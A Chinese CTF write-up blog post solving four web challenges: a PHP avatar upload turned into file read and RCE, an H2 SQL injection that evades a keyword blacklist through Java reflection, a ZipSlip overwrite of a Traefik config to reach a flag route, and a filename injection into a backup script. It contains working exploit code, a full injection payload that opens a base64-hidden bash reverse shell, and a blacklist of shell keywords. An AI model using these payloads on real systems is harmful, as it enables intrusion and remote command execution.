N1Junior

Gavatar

核心逻辑如下:
upload.php

<?php
require_once 'common.php';

$user = getCurrentUser();
if (!$user) header('Location: index.php');

$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);

$avatarPath = "$avatarDir/{$user['id']}";

if (!empty($_FILES['avatar']['tmp_name'])) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
        die('Invalid file type');
    }
    move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);
}

header('Location: profile.php');

可以看到文件上传的途径一共有两条,一种是上传本地文件,一种是读取外部文件.然而在读取外部文件的时候出现错误,使用file_get_contents去读取未经验证的url参数,构成了文件读取漏洞.
/avatar.php中可以通过get传参?user=用户名去查看读取的文件,因此构成了任意文件读取漏洞.
然而在给出的源码存在提示,需要RCE去执行命令,因此想到了iconv攻击.修改的Remote类如下:

class Remote:
    """A helper class to send the payload and download files.
    
    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.
    
    The code here serves as an example that attacks a page that looks like:
    
    ```php
    <?php
    
    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
    ```
    
    Tweak it to fit your target, and start the exploit.
    """

    def __init__(self, url: str) -> None:
        self.url = url
        self.upload_url = url + "/upload.php"
        self.avatar_url = url + "/avatar.php?user=admin"
        self.session = Session()
        cookies = {"PHPSESSID": "88fe4496c51624869b3cf365d24cc47c"}
        self.session.cookies.update(cookies)

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """

        data = {'url': path}
        files = {'avatar': ('', '', 'application/octet-stream')}
        self.session.post(self.upload_url, data=data, files=files)

        return self.session.get(self.avatar_url)
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        return base64.decode(response.text)

这里再重新记录一下三个函数的作用:init对session和url进行初始化,send是发出读文件的请求,最后需要返回一个带有读到的文件的response给download函数.download函数将文件内容返回.注意必须是文件内容,如果读文件时有其他多余的字符,则需要正则过滤掉.
poc的其他部分不需要进行修改.
image

写马蚁剑连接即可.

EasyDB

这题考察点是H2注入.先来看一下注入点:

public boolean validateUser(String username, String password) throws SQLException {
    String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
    if (!SecurityUtils.check(query)) {
        return false;
    }

    try (Statement stmt = connection.createStatement()) {
        stmt.executeQuery(query);
        try (ResultSet resultSet = stmt.getResultSet()) {
            return resultSet.next();
        }
    }
}

可以看到使用format去进行了字符串拼接,构成了H2注入漏洞.
正常的H2执行命令语句如下:

CREATE ALIAS hello AS $$ String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec("calc");return null;}$$;CALL EXEC ();

但是这里的问题在于题目使用 challenge.SecurityUtils#check 进行了黑名单过滤

public class SecurityUtils {
    private static final HashSet<String> blackLists = new HashSet<>();

    static {
        blackLists.add("runtime");
        blackLists.add("process");
        blackLists.add("exec");
        blackLists.add("shell");
        blackLists.add("file");
        blackLists.add("script");
        blackLists.add("groovy");
    }

    public static boolean check(String sql) {
        for (String keyword : blackLists) {
            if (sql.toLowerCase().contains(keyword)) {
                return false;
            }
        }
        return true;
    }
}

我们需要绕过上面的过滤才能实现 RCE
上面的过滤可以利用 Java 反射机制实现绕过,参考代码如下

Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="))); // java.lang.Runtime
java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ=="))); // getRuntime
Object o = m1.invoke(null);
java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class); // exec
m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE="))}}); // bash -i >& /dev/tcp/host.docker.internal/4444 0>&1

最终的 payload 如下, 注意需要对+号进行URL编码(非常重要,但是没好使应该是因为这个)

';CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE="))}});return null; }$$; CALL hello();--

反弹shell后执行/readflag命令拿到flag

traefik

main.go:

package main

import (
	"archive/zip"
	"fmt"
	"io"
	"net/http"
	"os"
	"path/filepath"
	"strings"

	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
)

const uploadDir = "./uploads"

func unzipSimpleFile(file *zip.File, filePath string) error {
	outFile, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer outFile.Close()

	fileInArchive, err := file.Open()
	if err != nil {
		return err
	}
	defer fileInArchive.Close()

	_, err = io.Copy(outFile, fileInArchive)
	if err != nil {
		return err
	}
	return nil
}

func unzipFile(zipPath, destDir string) error {
	zipReader, err := zip.OpenReader(zipPath)
	if err != nil {
		return err
	}
	defer zipReader.Close()

	for _, file := range zipReader.File {
		filePath := filepath.Join(destDir, file.Name)
		if file.FileInfo().IsDir() {
			if err := os.MkdirAll(filePath, file.Mode()); err != nil {
				return err
			}
		} else {
			err = unzipSimpleFile(file, filePath)
			if err != nil {
				return err
			}
		}
	}
	return nil
}

func randFileName() string {
	return uuid.New().String()
}

func main() {
	r := gin.Default()
	r.LoadHTMLGlob("templates/*")

	r.GET("/flag", func(c *gin.Context) {
		xForwardedFor := c.GetHeader("X-Forwarded-For")

		if !strings.Contains(xForwardedFor, "127.0.0.1") {
			c.JSON(400, gin.H{"error": "only localhost can get flag"})
			return
		}

		flag := os.Getenv("FLAG")
		if flag == "" {
			flag = "flag{testflag}"
		}

		c.String(http.StatusOK, flag)
	})

	r.GET("/public/index", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", nil)
	})

	r.POST("/public/upload", func(c *gin.Context) {
		file, err := c.FormFile("file")
		if err != nil {
			c.JSON(400, gin.H{"error": "File upload failed"})
			return
		}

		randomFolder := randFileName()
		destDir := filepath.Join(uploadDir, randomFolder)

		if err := os.MkdirAll(destDir, 0755); err != nil {
			c.JSON(500, gin.H{"error": "Failed to create directory"})
			return
		}

		zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
		if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
			c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
			return
		}

		if err := unzipFile(zipFilePath, destDir); err != nil {
			c.JSON(500, gin.H{"error": "Failed to unzip file"})
			return
		}

		c.JSON(200, gin.H{
			"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
		})
	})

	r.Run(":8080")
}

可以看到是有ZipSlip漏洞的,同时存在/flag路由,如果可以ssrf的话就能够得到flag.
那么接下来就是去找文件覆盖的洞.traefik是一款反向代理工具,我们在conf目录下找到了dynamic.yml配置文件如下:

# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy

可以将其覆盖,配置新的/flag路由,同时添加组件实现ssrf

# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  middlewares:
    add-x-forwarded-for:
      headers:
        customRequestHeaders:
          X-Forwarded-For: "127.0.0.1"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy
    flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy
      middlewares:
        - add-x-forwarded-for

比赛时没做出来,因为传的yml文件中没配置x-forwarded-formiddlewares

backup

在源码的最下面存在注释:

$cmd = $_REQUEST["__2025.happy.new.year"]

可以通过传参_[2025.happy.new.year去进行弹shell
拿到shell以后找不到提权,发现根目录下有backup.sh,查看如下:

#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/backup/
    chmod 755 -R /var/www/html/backup/
    sleep 15s

那我们就首先想到了软链接.然而就有个问题,一般的cp -P并不会带出来软链接的文件,需要有-H参数才行.
这里就要去打一个命令注入.在primary目录下去创建一个文件名位-H,然后再去创建一个软链接.

ln -s /flag flag

15秒后去backup目录查看flag.

posted @ 2025-02-13 15:42  colorfullbz  阅读(57)  评论(0)    收藏  举报